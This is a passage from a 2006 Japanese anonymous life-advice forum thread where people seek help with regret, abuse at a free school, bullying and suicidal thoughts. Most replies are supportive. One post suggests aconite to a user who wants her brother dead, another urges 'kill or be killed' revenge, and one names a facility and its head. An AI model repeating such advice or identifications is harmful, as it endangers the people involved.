多分他に自信があるものがあるからだと思うし、見てて頑張り屋で尊敬できる
そんなに周りはあなたが思ってるより気にしなかったと思うよ。
今はレーザー治療があるんだからちょっとお金ためて消せばいいじゃない。
完全に消せないかもだけど
あとシミや刺青のせいばかりにしてないで自分をもっと鍛えなよ

647 :マジレスさん:2006/11/10(金) 17:12:03 ID:sqXiXVzH
>>625
ありがとうございます(ノ_・。)
悪くないって言って貰えて本当に嬉しいです!

「悪い男」に声かけられたことありますよ。
ちょっと時間ある?って

苛立ってるときだったんで余計に腹立ちました
そこで、
睨んで
(´Д`)ハァ?
…って言ったら逃げてったw

648 :マジレスさん:2006/11/10(金) 17:19:23 ID:NWPrzaLw
すみません。以前からうちの向かいに底意地悪なババァがすんでいます。

あ、僕は29の男です。パニック障害とかもってるんで、無職です。

で、最近そのとなりにアパートがたって、また、そのババアにも孫が4人くらい一気にできて
アパートの連中とババア一家で、僕を怪しい人間扱いします。僕はただ、ベランダでタバコを吸うとき
と外出するときくらいしか顔をあわせません。で、ベランダでタバコをすおうとおもうと
ババアどもは隠れて悪口をいっています(あの兄ちゃんは危ないから気をつけないさいみたいなことです)

僕としてはなにも誘拐したりいたずらしたりする気はさらさらないんですが、あまりにもひどいので
いっそのこと誘拐でもしてやりたくなります。でも、事件になるのは困るので絶対しませんが。

なんとか、あのババアどもに復讐したいのですが、どうしたらいいですか?

649 :マジレスさん:2006/11/10(金) 17:22:18 ID:jY18Avu3
>>648
これはひどい

650 :マジレスさん:2006/11/10(金) 17:29:41 ID:SnuP1MJw
>>636
俺の嫁さんは顔(目の下)に子供の時にガラスで切った傷痕があるけど
俺はすごく愛してるぞ。
本人が気にしてる時期があったけど
俺はまとめて好きだからって言ったっけ。。。



651 :ダークオサーン ◆CAgEU2NTKA :2006/11/10(金) 17:35:13 ID:nMLOtMpW
>>649
Good Job!

652 :ダークオサーン ◆CAgEU2NTKA :2006/11/10(金) 18:02:27 ID:nMLOtMpW
>>636
ほい、これ。
http://www.kanacli.net/clinic/skin/q01_me.html

他にもいくらでもあるよ。
まあ、だいたい二の腕だけにたった3万円で入れた刺青なんて安物は、たいしたことない。
冷たい言い方ですがね、金貯めて、治療期間がとれれば解消する、ごく単純な悩みですな。

金で解決できる悩みは、たいしたことじゃない。

653 :ダークオサーン ◆CAgEU2NTKA :2006/11/10(金) 18:06:29 ID:nMLOtMpW
>>636
http://www.a-b-c.jp/tattoo1.htm

これなど、様々な実例が掲載されてて、参考になるのでは?

654 :マジレスさん:2006/11/10(金) 19:10:19 ID:1pj1HxEp
自分40歳のおばさんです。学歴短大卒特技資格ありません。
まともに就職したことがありません、21〜2才頃、新聞やトラバーユを頼りにかなりの面接を受けましたが、
ことごとく不採用(バイトも含む)。そのうち22歳の終わりに結婚、今に至ります。
18,9年前ってバブルのはしりですよね、それでも鼻にもかけてもらえなかった自分っていったい・・・。
よく、不採用になったことがなったことがないって自慢げにゆうひと、いますよね。
本気で憎悪、覚えるんです。病院に行ったほうがいいでしょうか?

655 :マジレスさん:2006/11/10(金) 19:16:24 ID:Fm3q1EkP
>>654
何言ってんだよ
会社に採用されなくても、一人の男に認められたんだろ?
それのほうがよっぽど価値あるよ


656 :マジレスさん:2006/11/10(金) 19:18:46 ID:1pj1HxEp
注、決してマスコミとかスッチーなどを目指していたのではありません。ごく普通の事務、販売等です。
結婚するとき、無職貯金なしのためずいぶん姑にバカにされたり、今でも実親にまでいやみ言われたり
仕事にはいいイメージがありません。たたかれるのは覚悟でカキコしました。

657 :マジレスさん:2006/11/10(金) 19:20:54 ID:jY18Avu3
本気で憎悪覚えるって話だけど
危害を加えたくなるほど?

658 :マジレスさん:2006/11/10(金) 19:21:56 ID:gpPmj0d2
>>379さん
まだ、見てますか?一昨日、昨日と彼が死んでるかもと騒いで相談にのって頂いた者です。
さっき彼と連絡がとれました!すごく心配していた事を伝えたら思わず泣いてしまい
彼に依存しすぎていた自分をようやく客観視できました。379さんが言ってた意味がよくわかりました。
御礼とご報告だけ致します。これ以上は雑談になるので控えますが本当にありがとうございました。

659 :マジレスさん:2006/11/10(金) 19:29:06 ID:1pj1HxEp
レスくれた方、ありがとうございます、優しい方ですね。・・・結婚ははっきりいってでき婚でした。
ここではハメ婚といわそうですが。私はそんなつもりじゃなかったけど周囲にはそう見えたんでしょうね。
子供の手も離れたし、パートでもと思っても、会社とか仕事そのものに引いてしまうのです。


660 :琴夢:2006/11/10(金) 19:33:52 ID:nyaVyPrO
初めまして。初めての2ちゃんねるですが、勇気を出して書きこみます。
僕は3人兄弟の末っ子で、上には兄と姉がいます。
兄は何かを言えばすぐ暴力を振るい、姉はとにかく自己中心的で、なにもかも僕にやらせようとします。
父と母は仕事で忙しく寄る遅くに帰ってきます。食事の用意は僕の仕事です。
学校での友人関係はイマイチで、仲良くなった友達にすぐ裏切られます。友達に盗まれたものはたくさんあります。
勉強も100人中80位ほどで、うまくいきません。部活はかなりヘタで後輩になめられまくりです。
担任にも恵まれず、すぐにイヤミを言ってきます。
家にも学校にも居場所がありません。僕はどこに行けばいいのでしょうか。

661 :マジレスさん:2006/11/10(金) 19:36:01 ID:Yl1IaQhm
>>654
病院にいくほどのことは無いと思うけれど、他人の全く些細なことに「本気で憎悪」と言う言葉を使うのは
精神的に疲れているんじゃないですか。
それもかなり昔の出来事を引きずっている。

面接に落ち続けたのは今のあなたの精神状態とは関係ないでしょう。
人前では無口なんじゃないんでしょうか。


662 :217です:2006/11/10(金) 19:36:44 ID:MNrGMBGH
こんにちは
昨日あれからすぐ携番も変えて今度こそちゃんと別れること決意しました。
ただ怖いのが前にもあったのですが携帯連絡つながらなくすると
チャイムを1時間ながければもっとしつこくならされるのです><
家で1時間もチャイムをならされたらかなりこわいです。
やっぱりそういう理由だけでは警察呼んでもきてもらえないでしょうか?

663 :マジレスさん:2006/11/10(金) 19:39:10 ID:Yl1IaQhm
>>660
何言っているの、ちゃんと家庭はあなたの居場所だよ。
居場所じゃないと思っているのはあなただけ。

晩御飯のしたくするなんて偉いじゃないの。
料理に才能あるかもね。

664 :マジレスさん:2006/11/10(金) 19:45:14 ID:ThwYXtq2
>>634
丁寧なレスありがとうございます
時間は一週間朝から晩まで学校とフリースクールで休みなしです
両親は、「生きる力をつけるため」と言っております
今バイトの金を全てとられたり、身体のトラウマをみんなの前で言われると、社会にでた時に耐性がついていて強くなるとその教師はいうのですが、それは本当なのでしょうか
そのフリースクールのHPを晒したい気持ちですがばれたらただではすまないのでできないのです…
地方は飛んで寮付きのホスト系をやろうか悩んでおります

665 :マジレスさん:2006/11/10(金) 19:45:51 ID:LHBKcXz3
すれ違い承知ですが、誰か探偵関連の板にどうやったらいけるか、知ってる方教えてくれませんか。

666 :マジレスさん:2006/11/10(金) 19:45:59 ID:Fm3q1EkP
>>659
昔のトラウマを自分から取り払うために
もう一度チャレンジされたらどうですか
それを繰り返すうちに自分の意外な弱点に気づくかもしれません
私も今は再就職の最中ですw

667 :マジレスさん:2006/11/10(金) 19:52:13 ID:zFXzQH7u
妊娠したかもしれないんです。
もし子供ができていたら死のうとは思いますが、
死ぬ勇気なんてない。だけどその子供を守っていける自信もない。
幸せにしてあげられない。すでに父親は私のそばにいない
誰か助けて・・・私、どうしたらいいの?

668 :マジレスさん:2006/11/10(金) 19:54:38 ID:E7JM9ctg
>>664
バイトの金とられるって誰にとられるの?
フリースクールにって事?だとしたらおかしくないか。
最初からそういう契約だったの?

確かに若いうちに色々しごかれるのは生きる力に繋がるだろうけど、そのまま
じゃダメじゃないか?ただ我慢してるだけでなんにもならん。
知恵を振り絞ってどうすれば問題が起きないか、どうすれば楽に処理できるか
人の気持ちを考えたりとか、そういう事をいつも考えながら生活しないとただの
我慢大会で終わる可能性もあるぞ。相手にうまいように利用されないように自分
にちゃんと頑張った分だけ利益が返ってくるように考える事も必要だよ。

669 :マジレスさん:2006/11/10(金) 19:54:42 ID:Fm3q1EkP
>>660
今は何もかもつらいだろうけど、不登校にもならずご両親に
反抗するのでもなくよく頑張ってるな
気の合う友人でもできればいいのだろうけど・・
社会に出れば風向きも少しは変わるかもしれない
同じような趣味を持ってる人は周りにいないのかな

670 :F.R.Z:2006/11/10(金) 19:58:19 ID:easfspsc
スレ違いすみません。
いじめが原因の自殺証明書を書いた人へ
私は渋谷区に住んでいる学生です。
自殺予告の手紙を書いた人、文部科学大臣に手紙を出すなんて、すごいですね。とても思い付かないし、それを実行できるのは、あなたが勇気を持っている証拠だと思います。
あなたが考えている通り、教育委員会や学校の先生方は嘘をつくと思います。あなたが言う通り、大人は嘘つきです。

671 :F.R.Z:2006/11/10(金) 19:59:31 ID:easfspsc
歳を重ねるに連れて、良い意味でも、悪い意味でも、守るべきものが増えて、自分を守るための嘘もまた増えていきます。
中には自分の身を挺して他人を思い、正直に行動できる素晴らしい心を持った大人もいますが、ほとんどの大人は、嘘つきです。
私もその一人です。
でも、これから書くことに嘘はありません。どうか信じて下さい。

672 :F.R.Z:2006/11/10(金) 20:00:33 ID:easfspsc
まず私はあなたに、手紙に書いてあることを実行してほしくないです。
何故ならあなたには可能性があると思うからです。
この国から「いじめ」を無くさせる可能性が。
今の大人達は、昔いじめが大きく問題として取り上げられた事を知っています。だから今の先生達も、いじめを無くそうと思って先生になった人もいます。

673 :マジレスさん:2006/11/10(金) 20:19:22 ID:cKjQQWz3
>>664
こちらこそ、丁寧なレスをありがとう。
ここに書き込むのも、なかなか時間の取れない様子ですね。

「生きるために必要な力」または耐性というものは、一概に言えない物ですから、
本当に必要なものかどうかあなたが迷うのも、当然といえます。

逆に言えば、本人に一番必要な資質、耐性を見分けることがとても難しい、
ということですから、ご両親が間違いないと信じているフリースクールに
依存するのも仕方のないことかもしれません。
ですが、あなたはそれに疑問を持っている。

よければ、ばれない程度、検索に引っかかりそうなキーワードを教えてくれませんか?

674 :マジレスさん:2006/11/10(金) 20:21:25 ID:Fm3q1EkP
>>667
まず妊娠してるか否か確かめる、それからです
今は今の状況から逃げたいという一心でしょうが
今は歯を食いしばってでもその心細さを押し殺して
今自分は何をすべきかを集中して考えるべきです
勇気を出して身近な人に相談することも考えてください

675 :マジレスさん:2006/11/10(金) 20:22:34 ID:ThwYXtq2
>>668
親に全額渡すようそのフリースクールの教師に指示されてます
前に誤魔化して渡してしまったときは無一文で何日か路上生活を余儀なくされました
僕も若いうちに苦労するのは大切だと思います
しかし理不尽さに耐えられそうにないのです…
このように人(掲示板)に相談することをその教師は卑怯というのですが、僕はここに相談することしか思い浮かびませんでした
この教師をどこかへ訴えることは可能でしょうか?
やるとしたら一気にやらなければ、ばれて罰が与えられるのでやるとしたら一気にします

676 :F.R.Z:2006/11/10(金) 20:25:32 ID:easfspsc
すみません続きです。
でも「子は親の言うことを聞かず、親のやる通りにする」ように、昔の大人達と同じように、嘘をついて、隠して、あなたを苦しめ、皆が苦しむことになってしまいました。
でも、あなたなら大人になっても、信念を貫くことができると確信しています。ここで人生を終わらせるなんて、もったいないです。人それぞれ、死にたいと思うことの一度や二度は誰にでもあると思います。
私もありました。

677 :F.R.Z:2006/11/10(金) 20:26:56 ID:easfspsc
いじめられている時と加害者になった時。
周りの人を困らせ、親を泣かせ、一気に信用を失いました。
被害者は仲の良い後輩でした。
今は「加害者だからこそわかるものがある」と思って、加害者のいない社会を造りたいと思っています。
綺麗事なのはわかっていますがこの綺麗事がどこまで通用するか、挑戦してみるつもりです。
だから、一緒に生きましょう。不安定な時代で、辛いことのほうが多いと思いますが、必ず嬉しいこと、楽しいこともあります。
もしこれが嘘だったら私をぶん殴りに来て下さい。

678 :F.R.Z:2006/11/10(金) 20:28:10 ID:easfspsc
最後に、あなたに手紙の内容を実行してほしくない理由がもう一つあります。
それは、あなたが亡くなったら、私が悲しいからです。
あなたが今どんな姿で、どんな状況でこれを読んでいるかわかりませんし、もちろんあなたに会ったこともありません。
私に限らず、あなたが亡くなって悲しむ人は大勢いるでしょう。

679 :マジレスさん:2006/11/10(金) 20:43:15 ID:E7JM9ctg
>>675
どんな理不尽な事があったの?一番酷いのをあげてみて。

オレは2chで相談するのは卑怯だとは思わないよ。
ただ、せっかくつらい経験をしてるのにあまり実りを期待できない。
勿体無い事はしてるかもしれないね。
なるべく自分の頭で考えて、いくら考えてもどうしてもわからない事だけを
相談するのがいいと思う。本気で強くなりたいと思うならね。
これは全然結果が違うと思う。自分の頭で考える事ってすごく大事だからね。

680 :マジレスさん:2006/11/10(金) 20:44:59 ID:LPz9Y9bd
会社に25才の女性社員がいて明るいけど落ち着いていない感じの人がいます。
その人は同じ部署でも気が合わない女性とは仲良くせずに私がいる部署まで来てお昼を食べます。
他にも、大人しそうであまり話さないような女性には挨拶もしません。
社交辞令があるわけでもないし仕事はできないけど上司から好かれてるし
彼もいるし社外にも友人が複数います。
人を差別しているのになぜ好かれるのかわかりません。

681 :F.R.Z:2006/11/10(金) 20:49:08 ID:easfspsc
今は自分の事だけで精一杯で、他人の事を考えている余裕はないと思いますが、これが正直な気持ちです。いつかあなたと握手できる日を心待ちにしています。また、寒さで風邪を引かないように、御自愛下さい。

682 :マジレスさん:2006/11/10(金) 20:49:21 ID:fwM7rMUL
>>680
あなたはその女性のことをどう思いますか?
好きですか?嫌いですか?

683 :F.R.Z:2006/11/10(金) 20:50:15 ID:easfspsc
読んで下さった方へ
私は、この文書を自殺予告の手紙を送った人が見てくれる可能性を考えて、思い付いた先が、こちらの掲示板でした。
この文書を読んで下さった方にお願いがあります。
自分が思い付く限りの掲示板に自分の言葉で、この送り主にメッセージを送ってほしいのです。
送り主だけでなく、これから自殺を考えている人にもメッセージを送って頂きたいです。
一人でも多くの自殺を防ぎましょう。
長々と失礼致しました。

684 :ダークオサーン ◆CAgEU2NTKA :2006/11/10(金) 20:54:21 ID:nMLOtMpW
>>675
自分より「社会的に強い(有利な立場にある)」人間に逆らえば、余計酷い目に合う。
その覚悟があるなら、逆らい戦え。
親や教師が“キチガイモード”になったとき、殺すか殺されるか、あるいは世界の果てまで逃げるぐらいの覚悟で。

しかし、その覚悟がないならば、ひたすら耐えろ。出来る限りやつらの目を盗み誤魔化して自分がつぶれないように。
出来る限り、彼らに従順に見えるように。なぜなら

卒業し、自分一人で生きていけるようになったとき、その教師や両親に
「あなたたちには、(フリースクールの件で)全く感謝していない。」
「自分のエゴを、愛情という言い訳で与えるのは、楽しかったでしょうね。」

と、信頼していた者からの裏切りによる精神的ダメージを、より痛烈にあたえるために、彼らを欺き耐えろ。

685 :マジレスさん:2006/11/10(金) 20:54:57 ID:6T7ZjGbN
不幸話しだしたら止まんない。誰もが長々とと話せる辛い話もってる。
でもそんなの表に出さずにがんばってる人もいる。

いえる事は死んではいけない。ただその一言だろうな。

国や機関に期待するべきじゃない。本当に期待できるのは自分だけ



686 :マジレスさん:2006/11/10(金) 20:58:42 ID:ThwYXtq2
>>673
耐性をつけるために人の助けをかりるのもひとつの方法ですよね
ただ、僕と両親両方が信頼でき身を任せられる先生に預けたいものです
キーワードはですね…「不登校」「整体」で、関東にあります。
組織名は○○ティ○ットワー○です
見つけられましたでしょうか?


>>679
詳しく言うと特定しかねないのですが、前にそういう相談所へ行ったときは卑怯者と罵られました
助けがほしいからフリースクールへ行くのと変わりはないと思ったのですが…
理不尽なことは遅刻をすると蹴られたり、学校を少しでも休むと退学にさせられたり、ご飯抜きで4日間過ごさせたりですかね
そこにいる人曰く、その先生の言うことなんだから間違えてないといってるんですが… 感覚が麻痺しそうです

687 :マジレスさん:2006/11/10(金) 21:08:35 ID:Yl1IaQhm
在る○o眼o○○ー区

688 :マジレスさん:2006/11/10(金) 21:13:05 ID:E7JM9ctg
>>686
4日間メシ抜き・・・・きっついなぁ〜^^;
そのスクールで今までに再起不能になった人とかもいるの?
ないなら多分大丈夫。すごく厳しそうだけど絶対根性つくよ。
社会人なったら遅刻したら殴られたりなんてあるとこはあるし、理不尽な事いったら
きりがないんだ。4日メシ抜きってのはないだろうけどw
でも自分で絶対おかしいと思うことがあったら誰かに相談するべきだよ。
どこでも最後は自分を信じるしかないんだからね。

689 :マジレスさん:2006/11/10(金) 21:27:42 ID:hA5WjXqR
>>675
働いて得たお金は貴方のものです
肉親でも無理に金品を搾取すれば、窃盗・恐喝等の犯罪行為に当たります
上記は警察機関に通報できます

未成年者に路上生活を強いたり、理不尽な食事制限をする事は、虐待です
保護義務の遺棄と見られますので、最寄の児童相談所か福祉センターに相談して下さい
レスの内容から見ますと「罰」と言う名の虐待行為かと思います

閉鎖された施設と言うのは、内部告発する以外、なかなか事件が明るみに出ません
なるべく詳細を記した書面などに記し、匿名で詳細を警察機関に届けると言う手段もあります
同じ被害に苦しんでいる人が居るなら、連名と言う形も有りますが
警察が動いてくれなかった場合、貴方に余計な被害が出ないとも限りませんので
余程信頼出来る人でなければ、あまりお勧めは出来ません

個人で解決出来るレベルには思えませんので、学校の教師に相談するのも手だと思います
担任で無くても、養護教諭(保健の先生)や、直接校長・教頭などでも良いと思いますよ
なるべく信頼出来る大人を味方に付ける事が、解決に繋がるかと思われます

690 :689:2006/11/10(金) 21:34:23 ID:hA5WjXqR
すみません、文おかしい…

×なるべく詳細を記した書面などに記し、匿名で詳細を警察機関に届けると言う手段もあります

○なるべく詳細を書面などに記し、匿名で警察機関に届けると言う手段もあります

691 :437:2006/11/10(金) 21:45:59 ID:qEYnylA6
昨日相談した者です。遅くなりすみません。
>>450さん レスありがとうございます。
そうですよね、無理に合わせる事もないし、気にすることではないかもしれませんね。
少し気持ちが軽くなりました。これからは気にせず少しずつ自分も発言できればと思います。
ありがとうございました。

692 :マジレスさん:2006/11/10(金) 21:49:17 ID:cKjQQWz3
>>686
残念ながら、今のところ見つかっていません。
ひとつ、虹と付く施設がありますが、組織名が記載されておらず、他
不登校、整体、関東だけでざっと見ただけでも、かなりの数該当しました。
特定に時間がかかりそうでしたので、先にレスさせてください。

勝手ながら推察するに、「理不尽」であれば行動を起こすつもりでいる、
といったようにお見受けしますが、周りの大人がこぞって正しい、と言う状況で
それを判断するのは難しいことでしょうね。

ネットに接続できる環境であることから、自己判断をさせないほどの恐喝的な
ものではないとは思いますが、逆に言えば子供(失礼)のあらゆる行動に対しての
対応策を練ってあるとも考えられ、世間に対する理解も、ある程度勝ち得ている、と言うことです。

よければ、そこと似た施設、あるいは著書を教えてくれませんか?

693 :マジレスさん:2006/11/10(金) 21:59:59 ID:ThwYXtq2
>>688
そうですね、遅刻をすると蹴られるのは厳しいよいですが今後のためになると思います
再起不能とは?
親が虐待と思いやめていった人は少なからずいます

>>689
両方の機関へ行きました
僕が行ったのは警察と児童相談所です
しかしその施設の方が家にきて親と話をした際、親がうまくまとめ話はなかったことにされたばかりか罰として水のみ生活を強いられました
中途半端な事をすると上記の繰り返しになりかねないのでやるとしたら徹底的にやります
教室の中では皆その教師に心酔しきっているので、僕俺個人で匿名で警察にだします
その場合手書きではなくワープロ等で作成し最寄りの警察で大丈夫でしょうか?

694 :マジレスさん:2006/11/10(金) 22:08:03 ID:Yl1IaQhm
>>693
> 僕が行ったのは警察と児童相談所です
しかしその施設の方が家にきて親と話をした際、親がうまくまとめ話はなかったことにされたばかりか罰として水のみ生活を強いられました
中途半端な事をすると上記の繰り返しになりかねない

こういうことを書くのです。
親や施設に話を通されると虐待されるという趣旨の内容を書くのです。

695 :マジレスさん:2006/11/10(金) 22:08:35 ID:E7JM9ctg
>>693
荒療治が悪い方に出たりとか、倒れたとか、びょうきになったとかはないのね?
てか、親は先生に教育を任せて自分達はなにもしないのか?
手に負えなかったんだろうが、先生のいう事を黙って聞けっていうなら歓心しないな。
何でおかしいのかせめて説明できてほしいんだけどね。
まぁ、しょうがない。
てか君はやめたいんだね。つらいだろうしその気持ちはわかるよ。


696 :マジレスさん:2006/11/10(金) 22:09:38 ID:ThwYXtq2
>>692
全くその通りです
その施設が、厳しいが正しいか、それとも虐待の域に達しているかがわからず、第三者の方の意見を伺うためにここに参りました
冷静な第三者である学校の担任曰く虐待だそうですが…
整体の方で賞をもらっていたり、不登校の部門でも本をかいていたり社会的な信用はあると思います
サイト名ですが、虹はつかず、…全てカタカナで「○○ティ○ット○ークセ○ター」です
相談にのっていただいているのに誰に見られているかわからないため全てをお話できず申し訳ないです…


>>687
ちょっと違います
しかし伏せ字にしていただきありがとうございます

697 :マジレスさん:2006/11/10(金) 22:11:01 ID:xNe+gcSH
立て看板 設置させてください、<(_"_)>ペコリ

『  ☆彡 目も見えず、耳も聞こえぬお人が、桜の木に抱きついている。
桜を、見たい、聞きたい、と言う。
さて、どうやって桜を見せようか?

☆彡 坐禅と見性 四十六章 公案見性
http://life7.2ch.net/test/read.cgi/psy/1161444933/
而二不二(ににふに)、不二而二(ふににに)、
二ではない(不二、ふに)、一の如し(一如、いちにょ)、それは、ほとけさま(さとり)のことです、どうですか、参禅していきませんか?
問う。
『 この場に坐したままで、30メートル先のローソクの炎を吹き消せ。 』
答える。     ・・・と。

☆彡沢木興道老師のなぞなぞ?

アメリカに 「我が妻は我が父の母なり、我が父は我が子なり、我が妹は我が孫なり」 という言葉があったそうな。

☆彡碧巌録(へきがんろく)第45則 趙州布衫(じょうしゅうふさん)

【本則】
禅僧「万法は一に帰す。では、一はどこに帰しますか」

趙州「私は若い頃、青州に住み、一領の布衫(実務着、サラリーマンなら背広と言うことかと)を作った。  その重さは7斤(4.2kg)もあった」

また、あるひと(ジャック、ラカン) 曰く(いわく)
「世界をキリストが支えている。キリストを聖クリストファーが支えている。では、その聖クリストファーを支えているのは何?」という謎々と同じかと。

‥‥……━★ 友好スレ

精神世界で癒される第16章仙界の癒し大混浴場(バトルなし)
http://life7.2ch.net/test/read.cgi/healing/1162179911/

698 :マジレスさん:2006/11/10(金) 22:18:15 ID:cKjQQWz3
>>696
学校の担任の先生には相談しているが、いまのところその先生は
あなたのご両親に相談の事実は知らせていない、ということですね?

またはあなた個人ではなく仮定の話、として相談されているのでしょうか?

699 :マジレスさん:2006/11/10(金) 22:35:17 ID:ThwYXtq2
>>694
わかりました…
ちゃんと伝わるか、ばれないか心配ですが、虐待の域に達しているみたいなのでやってみます

>>695
限界寸前でとめているらしいのでそれはないみたいです
元々僕の親は宗教に頼る癖があるので今回はその教師という感じです
僕はただ普通にバイトして学校へ行きたいだけなのですが…

>>698
学校の先生は、両親と僕の両方の意見を聞き、両方(フリースクールの教師)がおかしいと言っていました
その学校の先生が保健室の先生にも聞いてくださったみたいですが、その先生も両親の方がおかしいと…
そして、学校の先生がそのフリースクールに通わないことを両親に提案してくれたそうなんですが、両親がフリースクールの教師にそのことを言い、フリースクールの教師が学校の先生に苦情をいったのです
すみません、まとまってないですが、大人の味方はその先生くらいしか…

700 :マジレスさん:2006/11/10(金) 22:40:25 ID:+f0DhXUD
>>699
なんだオメ午前8時からずっと相談してんのか。話がちっともつかめない。
自分のスレ立ててコテもつけとけよ。

701 :マジレスさん:2006/11/10(金) 22:43:03 ID:cKjQQWz3
>>699
いえ、充分伝わりますよ。
少し安心しました、その先生はあなたの為に努力してくださったようですね。
今でも先生は少なくとも、あなたの味方と言う前提で考えますが、
まず、口止めをした上で「こういう行動を起こしたいが」と相談してみることは可能ですか?

私たちは画面の外側なので、あなたが起こした行動により、もしも今より状況が悪化した場合
それを察知することが出来ません。上記の繰り返しになっていないことをあなたの書き込みでしか
知ることが出来ません。ですから、味方を一人確実にしておく必要があると考えます。




702 :マジレスさん:2006/11/10(金) 22:54:53 ID:ThwYXtq2
>>700
すみません、これで最後にします
ご迷惑おかけしました

>>701
最後まで丁寧にしていただき感謝の気持ちでいっぱいです
その先生の反応を伺いつつやってみたいと思います
もうこれで書き込みはしませんが相談にのっていただき本当にありがとうございます

703 :マジレスさん:2006/11/10(金) 23:00:28 ID:cKjQQWz3
>>699
諦めないでもらいたいので、先にレスしておきます。
一度、警察、児童相談所に相談して、失敗していることから、
今すぐ行動を起こすのは早計と思われます。

今の生活は辛いとお察ししますが、確実に改善するためには、ここはもう少しだけこらえて
焦らず、じっくりと作戦を練りませんか?
目立つ行動を少しでも避けたいのであれば、別スレはおすすめできませんので、
いま少しこのスレで続けたいのですが。

704 :マジレスさん:2006/11/10(金) 23:02:41 ID:q1IEE6hn
今日ヤンキー共に殴れて警察には言うな。言ったら探し出して殺すって言われました。言うべきかどうか迷ってます…。

705 :636:2006/11/10(金) 23:07:21 ID:S4EXW/hE
すみません。仕事中でレスが遅くなりました。
たくさんの励ましの言葉ありがとうございました。もっと早く2ちゃんに出会って、皆さんに相談していれば早まらずにすんだのかもしれません。ちなみに私は女です。
タトゥーは蝶にしました。黒一色ですが…
先日形成外科に行って診察相談をしてもらったのですが、費用は約60万、綺麗になるのに2年かかると冷たく言われ、愕然としました。
自業自得だと頭では分かっているのですが、悔しさと虚しさと悲しさでいっぱいです。
うちは貧乏で稼いだ給料に余裕はありません。60万なんてとても簡単には払えません。
諦めるしかないのでしょうか。

706 :マジレスさん:2006/11/10(金) 23:10:41 ID:cKjQQWz3
>>702
これで最後と言われてしまうと困ってしまいますね・・・。
では、メール欄に半角でsageと入れて、他のスレをお借りしましょうか。
幸いここなら、スレの意向とそうずれていないと思いますし、いかがでしょうか?
ttp://life7.2ch.net/test/read.cgi/jinsei/1160051995/l50
上げてしまうと、閲覧者が増えてしまうのでご注意を。

707 :マジレスさん:2006/11/10(金) 23:21:39 ID:IDMMtdV7
最近、彼氏が出来て皆からバカップルって言われるくらい幸せなんだけど…自分が死んだらどうなるかとかばっかり考えて彼や親が悲しむ姿を想像して自分も泣いてるといった現象が周期的にやってくる。なんでかな


708 :マジレスさん:2006/11/10(金) 23:27:40 ID:cKjQQWz3
>>694>>695>>689他の方、具体案を練りたいと思います。
よければご協力いただけませんか?


709 :マジレスさん:2006/11/10(金) 23:35:37 ID:pCyyQHDN
大学一年目です。
ネットでは明るいけどリアルではテンションが全然上がりません。
というか頭が回りません。これが対人恐怖症というのでしょうか?

ここ三週間ほど前に親しかった人に突然嫌われたり、嫌なことも割とあるし
忙しくてストレスがたまってるのもあるかもしれないんですけど、
春に比べて明らかに自分の口数も減ってるし人間関係も重たい感じがしてます。

誰か俺を無理に慰めなくていいから的確な内容で煽って頂きたいのですが

710 :694:2006/11/10(金) 23:35:40 ID:Yl1IaQhm
>>708
具体的にどういう案がありますか?

711 :マジレスさん:2006/11/10(金) 23:44:05 ID:wX02gcK+
ネットのオンラインゲームで知り合ったひとがいるのですがすごくいいひとで、毎日ゲームとかをしています。で、負けたほうは一ついうことをきくってなったんですが、平気で『下着姿の画像ちょうだい』とかいわれます。
また会おうということになったのですが『一人暮し?泊めて』みたいにいわれます。
へんなこと考えてる?ときくと『ないよ』みたいにいわれますがこれは体目的ですか?
かれはなんなんでしょう。

712 :マジレスさん:2006/11/10(金) 23:44:25 ID:fwM7rMUL
>>705
あまり悲観的にならないことだと思います
60万は簡単に払える金額ではないかもしれませんが
こつこつと貯金をすればいつかはたまる金額ではないでしょうか?
あとタトゥーを入れることは、自分で決めて自分でやったことですよね?
自分で決めてやったことを、いつまでもくよくよ後悔していては
これから先も何か失敗したと思うたびに、悩んでばかりになるのではないでしょうか
失敗したと今思っているということは、そのときは気付けなかったことに
気付けるくらいに自分は成長したと前向きに考えてはどうでしょうか?

713 :マジレスさん:2006/11/10(金) 23:45:43 ID:zFXzQH7u
>>711
ネットで知り合えばそういうのもアリとは思うけど
やりすぎちゃだめだよ。

714 :マジレスさん:2006/11/10(金) 23:46:12 ID:qRceOai0
>>711
百パーからだ目的です。
男はほとんどそうですけど。
絶対に画像とかやらないほうがいいです。


715 :マジレスさん:2006/11/10(金) 23:46:23 ID:XsBuYqZH
兄が私を監視ばかりしていてウザキモスです。
地獄耳あるいは盗聴器をつけてるのか
私のスケジュールを事細かに知っていて母にチクります。
母と兄は共依存していて、家族に味方はいません。
意味不明な文を言ってきたりもします。
兄を訴えることは可能ですか?

716 :マジレスさん:2006/11/10(金) 23:46:57 ID:uCkOq0Tr
相談です。最近ひざなどの関節が痛みます。学生時代かなり本格的に運動して消耗したせいもあるのですが最近特に節々が痛いんですがこれは歳のせいなんでしょうか?
大体何歳位から年齢を感じるものなんですか?当方は今20代後半なんで老化にはまだ早いのではと思うのですが・・・
>>719
ネットは一時の付き合いであるから明るい本来のあなたが出てるのでしょう。
しかし現実では嫌われたくないと思うからかえって他人行儀な雰囲気になり盛り上がらないのです。
対人恐怖症にも値しないしょうもない悩みですし、おそらくどうせたいした人間関係でもないので現実でも気楽にやったらいいと思います。
>>711
イイヒトじゃありません。体目的です

717 :マジレスさん:2006/11/10(金) 23:47:16 ID:qRceOai0
兄とあなたが何歳か
職業なにか教えて

718 :ダークオサーン ◆2vCFn0cQ6. :2006/11/10(金) 23:47:27 ID:nMLOtMpW
>>708
私のレスは当然のことながらスルーされましたが、それはいいとして

いったいそのフリースクールはどこの
春日部市、リバテイネットワークセンターなんでしょうなあ
代表者はなんて名前の、大輪紀代志なんでしょうかね?
気になる…、教えてくれ>>694



719 :浩二 ◆9nSiqWjPc6 :2006/11/10(金) 23:47:43 ID:TYfIVdnu
>>715
訴えたとして、一体兄に何を求める気かね?

720 :浩二 ◆9nSiqWjPc6 :2006/11/10(金) 23:50:38 ID:TYfIVdnu
>>716
スポーツ障害
早めに整形外科に受信を

721 :マジレスさん:2006/11/10(金) 23:51:29 ID:XsBuYqZH
>>719
何回か通報したんですが、注意程度で終わるじゃないですか。
この先、恐くてたまらないんです。
第一希望は、死んでもらいたい

722 :マジレスさん:2006/11/10(金) 23:53:23 ID:jY18Avu3
>>721
まずトリカブトを用意します

723 :マジレスさん:2006/11/10(金) 23:53:25 ID:fwM7rMUL
>>711
その人がどんな人物かは知りませんが
その話を聞く限りでは、体目的に思えてしまいますね
>『下着姿の画像ちょうだい』
なんて、ゲームで知り合っただけで普通は言わないんじゃないでしょうか

